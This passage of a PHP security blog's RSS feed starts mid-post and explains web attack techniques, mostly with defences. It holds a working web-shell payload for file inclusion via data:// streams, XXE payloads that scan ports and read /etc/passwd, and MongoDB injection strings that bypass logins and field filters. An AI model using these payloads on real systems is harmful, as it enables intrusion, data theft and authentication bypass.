echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
</pre>
<p style="text-align: justify;">Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur.</p>
<p style="text-align: justify;">Before PHP 5.2 when an attacker found a local or remote file inclusion vulnerability he needed to either work out a way to upload PHP code to the server (e.g. via /proc/self/environ) or have another server that he could point the vulnerable script at.  Sometimes the server with the vulnerability might be behind a firewall restricting outbound access to the Internet and at other times it might not be possible to write any data to a suitable location on the local file system for inclusion. </p>
<p style="text-align: justify;">Since PHP 5.2 if <a href="http://php.net/manual/en/filesystem.configuration.php">allow_url_include</a> is enabled we can use the data stream (rather than a remote file) to include executable PHP code. Consider the following example of a vulnerable PHP script:</p>
<pre class="brush: php; title: ; notranslate">
&lt;? include($_GET['file'] . &quot;.php&quot;);
</pre>
<p style="text-align: justify;">By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below we show how phpinfo can be executed using the above script to enumerate more information about the target environment.</p>
<pre class="brush: php; title: ; notranslate">
&lt;? phpinfo(); die();?&gt;
</pre>
<pre class="brush: plain; title: ; notranslate">
// Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

// URL + Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

// Final URL
index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==
</pre>
<p style="text-align: justify;">The die statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded &#8220;.php&#8221; string which is appended to the stream &#8211; both of which could cause a <a href="https://secure.wikimedia.org/wikipedia/en/wiki/White_screen_of_death">WSOD</a> &#8211; Displaying phpinfo is fairly basic &#8211; you can go a step further and execute shell commands. The following code is a complete GUI command shell.</p>
<p><strong>PHP payload</strong></p>
<pre class="brush: xml; title: ; notranslate">
&lt;form action=&quot;&lt;?=$_SERVER['REQUEST_URI']?&gt;&quot; method=&quot;POST&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;x&quot; value=&quot;&lt;?=htmlentities($_POST['x'])?&gt;&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;cmd&quot;&gt;&lt;/form&gt;&lt;pre&gt;&lt;? echo `{$_POST['x']}`; ?&gt;&lt;/pre&gt;&lt;? die(); ?&gt;
</pre>
<p><strong>Base64 encoded payload</strong></p>
<pre class="brush: plain; title: ; notranslate">
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkkn
XT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lP
SJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8
+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm
0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wc
mU+PD8gZGllKCk7ID8+Cgo=
</pre>
<p><strong>Base64 + URL encoded payload</strong></p>
<pre class="brush: plain; title: ; notranslate">
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkk
nXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu
YW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsne
CddKT8%2BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21k
Ij48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddf
WA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D
</pre>
<p><strong>Running PHP shell</strong><br />
<a href="http://www.idontplaydarts.com/wp-content/uploads/2011/03/payload.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/03/payload.png" alt="Local shell using data:// payload" title="Local PHP shell" width="580" height="220" class="aligncenter size-full wp-image-210" /></a></p>
<p style="text-align: justify;">Using a data stream over a standard remote or local file inclusion has several benefits: </p>
<ol style="padding-left:20px;">
<li>It works behind a firewall that blocks outbound traffic.</li>
<li>It has a lower latency as the vulnerable script is not including a remote file.</li>
<li>Its doesn&#8217;t require a null-byte to be appended to the end of the script.</li>
<li>It doesn&#8217;t require a remote server.
</ol>
<p style="text-align: justify;">All in all, its a more elegant solution to remote or local file inclusion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hardening and securing PHP on Linux</title>
		<link>http://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on-linux/</link>
		<comments>http://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on-linux/#comments</comments>
		<pubDate>Mon, 28 Feb 2011 12:26:21 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Audit]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=98</guid>
		<description><![CDATA[Hardening PHP on linux to increase security is a complex process involving a plethora of  settings. A while back I developed a script in order to check for any security settings that were out of place. The idea is that &#8230; <a href="http://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on-linux/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Hardening PHP on linux to increase security is a complex process involving a plethora of  settings. A while back I developed a script in order to check for any security settings that were out of place.</p>
<p style="text-align: justify;">The idea is that you run the script on your web server and it tells you what security settings are potentially mis-configured based on the rules that it reads from an XML file. Any settings that are not configured in line with best security practices are highlighted in red. It works in a similar way to the <a href="http://cisecurity.org/en-us/" target="_blank">Centre for Internet Security&#8217;s benchmark scripts</a> for other technologies. The one caveat is that it does need access to the <a href="http://php.net/manual/en/function.ini-get.php">ini_get</a> function and requires a least PHP 5 to run.</p>
<p style="text-align: justify;">The auditing script checks for (amongst other things):</p>
<ul>
<li>Secure session settings.</li>
<li>Depreciated functions that might be relied upon.</li>
<li>Functions that should be disabled.</li>
<li>Dangerous settings that could lead to remote or local file inclusion.</li>
<li>Error handling.</li>
<li>Constants defined at compile time.</li>
</ul>
<p style="text-align: justify;">You might disagree with some of the recommended security settings or they might just not suit your current application; you can always change the XML file. A sample of the report generated by the Auditor is shown below.</p>
<div id="attachment_99" class="wp-caption alignnone" style="width: 650px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/02/php_audit_snap1.png"><img class="size-large wp-image-99" title="PHP Auditor" src="http://www.idontplaydarts.com/wp-content/uploads/2011/02/php_audit_snap1.png" alt="" width="640" height="621" /></a><p class="wp-caption-text">Hardening PHP using the PHP Auditor</p></div>
<p style="text-align: justify;">You can download the script and use it to harden  / secure your PHP installation. The tool is by no means a definitive hardening guide and any feedback or suggested rules / settings are welcome.</p>
<p style="text-align: justify;"><strong><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/02/Secure-PHP-conf.tar">Download the PHP Auditor</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on-linux/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Scanning the internal network using SimpleXML</title>
		<link>http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/</link>
		<comments>http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/#comments</comments>
		<pubDate>Mon, 14 Feb 2011 10:46:39 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Web Services]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[REST]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[XE]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=72</guid>
		<description><![CDATA[XML is widely used throughout PHP applications in the representation arbitrary data structures such as with SOAP and REST web services. It supports the use of external entities allowing you to bring in information from external sources. This is useful &#8230; <a href="http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">XML is widely used throughout PHP applications in the representation arbitrary data structures such as with SOAP and REST web services. It supports the use of external entities allowing you to bring in information from external sources. This is useful when you want to create common references that are shared between XML documents &#8211; when you update the external source it becomes updated in all the XML documents. For example when we update the file copyright.xml it automatically gets dragged into the XML document below.</p>
<pre class="brush: xml; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot; ?&gt;
&lt;!DOCTYPE copyright [
  &lt;!ELEMENT copyright (#PCDATA)&gt;
  &lt;!ENTITY c SYSTEM &quot;http://www.xmlwriter.net/copyright.xml&quot;&gt;
]&gt;
&lt;copyright&gt;&amp;c;&lt;/copyright&gt;
</pre>
<p style="text-align: justify;">SimpleXML lets us bring any URL &#8211; for example http://www.example.com/blahblahblah.xml &#8211; into the document. The problem is that if the external entity isn&#8217;t  a valid XML endpoint it wont get parsed and PHP will throw an error like this.</p>
<pre class="brush: plain; title: ; notranslate">
Warning: simplexml_load_string(): php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Warning: simplexml_load_string(http://www.example.com/blahblahblah.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5
</pre>
<p style="text-align: justify;">Security issues arise because PHP places no restrictions on what URLs can be accessed; any URL that the parser can access can be included in the XML as a external entity. Even if <em>allow_url_fopen</em> is set to false it is still possible to include these files. Furthermore it is possible to specify ports to which the XML parser will connect, here we connect to localhost on port 22</p>
<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE scan [&lt;!ENTITY test SYSTEM &quot;http://localhost:22&quot;&gt;]&gt;
&lt;scan&gt;&amp;test;&lt;/scan&gt;
</pre>
<p style="text-align: justify;">As long as PHP error messages are enabled you get back the banner of the service running even if the port doesn&#8217;t support the HTTP protocol.</p>
<pre class="brush: plain; title: ; notranslate">
Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
 in testxml.php on line 10
</pre>
<p style="text-align: justify;">If error messages are suppressed it is still possible to work out if a service is running on the port by comparing the time taken to connect to a known open port (such as localhost:80) to known closed port. Using this technique its possible to scan the networks attached to the XML parser endpoint for services that otherwise might be blocked to the outside world by a firewall.</p>
<p style="text-align: justify;"><strong>XML for Local File Inclusion</strong><br />
Turns out not only can you include remote URL you can also include local files (a.k.a Local File Inclusion &#8211; LFI) by using the file:// prefix (thanks to <a href="http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/#comment-1327">Am</a> for pointing this out) e.g.
</p>
<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE scan [&lt;!ENTITY test SYSTEM &quot;file:///etc/passwd&quot;&gt;]&gt;
&lt;scan&gt;&amp;test;&lt;/scan&gt;
</pre>
<p style="text-align: justify;">
If the result is echoed back to the end user it will contain a copy of /etc/passwd &#8211; The caveat is that the local file inclusion must be valid XML, this means that you cant include binary files &#8211; however, using <a href="http://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/" title="Using php://filter for local file inclusion">PHP filters</a> its possible to encode binary files as a Base64 encoded string e.g.
</p>
<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE scan [&lt;!ENTITY test SYSTEM &quot;php://filter/read=convert.base64-encode/resource=/etc/passwd&quot;&gt;]&gt;
&lt;scan&gt;&amp;test;&lt;/scan&gt;
</pre>
<p style="text-align: justify;">
This means that any PHP system parsing XML is potentially vulnerable to Local and Remote File Inclusion attacks.
</p>
<p style="text-align: justify;">
<strong>Defending against XML External Entity attacks</strong><br />
There doesn&#8217;t appear to be a PHP configuration setting to disable the external entity feature however by issuing the command <a href="http://www.php.net/manual/en/function.libxml-disable-entity-loader.php">libxml_disable_entity_loader</a> before the XML is parsed it is possible to turn external entities off at runtime and protect yourself from this threat e.g.</p>
<pre class="brush: php; title: ; notranslate">
libxml_disable_entity_loader(true);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>MongoDB Null Byte Injection attacks</title>
		<link>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/</link>
		<comments>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/#comments</comments>
		<pubDate>Sat, 12 Feb 2011 12:50:47 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[Null Byte Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=48</guid>
		<description><![CDATA[Following my earlier post on how MongoDB can be vulnerable to SQL injection I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could potentially let users overwrite fields in the database to which the application logic &#8230; <a href="http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Following my earlier post on how <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">MongoDB can be vulnerable to SQL injection</a> I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could  potentially let users overwrite fields in the database to which the application logic denies them access. In extreme cases it may be possible to trick the application in writing to or reading from a different database or collection.</p>
<p style="text-align: justify;">Lets take a look at an example. The code below allows users to insert random objects into the collection by passing an array of objects in the GET command. However it denies them access to insert the field &#8220;verified&#8221;.</p>
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot;)-&gt;
          selectCollection(&quot;population&quot;);

$_GET['person'] = array(
    &quot;name&quot; =&gt; &quot;Alice&quot;,
    &quot;age&quot; =&gt; 20,
    &quot;verified&quot; =&gt; true
);

unset($_GET['person']['verified']);
$db-&gt;insert($GET['person'], true);
</pre>
<p style="text-align: justify;">When we inspect the database we can see that the object was created in the &#8220;population&#8221; collection with the exception of the &#8220;verified&#8221; field.</p>
<pre class="brush: bash; title: ; notranslate">
&gt; use example
switched to db example
&gt; db.population.find();
{ &quot;_id&quot; : ObjectId(&quot;4d567e42528a7b056e000000&quot;), &quot;name&quot; : &quot;Alice&quot;, &quot;age&quot; : 20 }
</pre>
<p style="text-align: justify;">This code should allow the user to insert any people and prevent the &#8220;verified&#8221; field from being set. However, by injecting a null byte into the array key we can bypass the checks and allow the field &#8220;verified&#8221; to be stored in MongoDB.</p>
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot;)-&gt;
          selectCollection(&quot;population&quot;);

$_GET['person'] = array(
    &quot;name&quot; =&gt; &quot;Alice&quot;,
    &quot;age&quot; =&gt; 20,
    &quot;verified&quot; . chr(0) . &quot;ignored&quot; =&gt; true
);

unset($_GET['person']['verified']);

$db-&gt;insert($_GET['person'], true);
</pre>
<p style="text-align: justify;">The MongoDB server filters out anything after the null byte and when we check the collection we can see that the &#8220;verified&#8221; field has been populated.</p>
<pre class="brush: bash; title: ; notranslate">
&gt; use example
switched to db example
&gt; db.population.find();
{ &quot;_id&quot; : ObjectId(&quot;4d567ff5528a7b476e000000&quot;), &quot;name&quot; : &quot;Alice&quot;, &quot;age&quot; : 20, &quot;verified&quot; : true }
</pre>
<p style="text-align: justify;">The Null Byte Injection affects the collection and database names as well. The code below would still write to the example.population collection.</p>
<p style="text-align: justify;">
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot; . chr(0) . &quot;ignored&quot;)-&gt;
selectCollection(&quot;population&quot; . chr(0) . &quot;ignored&quot;);
</pre>
</p>
<p style="text-align: justify;">The best solution is to strictly validate the fields you allow users to pass to a collection,  additionally check each user-supplied database and collection string for the presence of null-bytes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mongodb is vulnerable to SQL injection in PHP at least</title>
		<link>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/</link>
		<comments>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 11:09:10 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=22</guid>
		<description><![CDATA[Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item &#8230; <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item form MongoDB where the username equals &#8216;bob&#8217; and the password equals &#8216;password&#8217;.</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; $_GET['username'],
    &quot;passwd&quot; =&gt; $_GET['passwd']
));
</pre>
<p>This is equivalent to the SQL syntax</p>
<pre class="brush: php; title: ; notranslate">
mysql_query(&quot;SELECT * FROM collection
    WHERE username=&quot; . $_GET['username'] . &quot;,
    AND passwd=&quot; . $_GET['passwd'])
</pre>
<p style="text-align: justify;">In a normal SQL injection attack we can replace either of the two input parameters with a string such that the SQL query always returns true. e.g.</p>
<pre class="brush: xml; title: ; notranslate">
login.php?username=admin&amp;passwd=&quot; OR 1 --
</pre>
<p style="text-align: justify;">That wont work with MongoDB; however if we can pass in an object to the PHP MongoDB driver we could alter the query in a similar fashion. Luckily PHP provides us with a way to pass objects as GET or POST parameters:</p>
<pre class="brush: xml; title: ; notranslate">
login.php?username=admin&amp;passwd[$ne]=1
</pre>
<p>This creates the MongoDB query</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; &quot;admin&quot;,
    &quot;passwd&quot; =&gt; array(&quot;$ne&quot; =&gt; 1)
));
</pre>
<p style="text-align: justify;">Which is the equivalent to the following SQL statement which, unless the password is &#8220;1&#8243; will always return true.</p>
<pre class="brush: php; title: ; notranslate">
mysql_query(&quot;SELECT * FROM collection
    WHERE username=&quot;admin&quot;,
    AND passwd!=1
</pre>
<p style="text-align: justify;">The solution is to ensure your variables are properly typed before they are passed into the MongoDB driver. The following code is not vulnerable to MongoDB injection:</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; (string)$_GET['username'],
    &quot;passwd&quot; =&gt; (string)$_GET['passwd']
));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

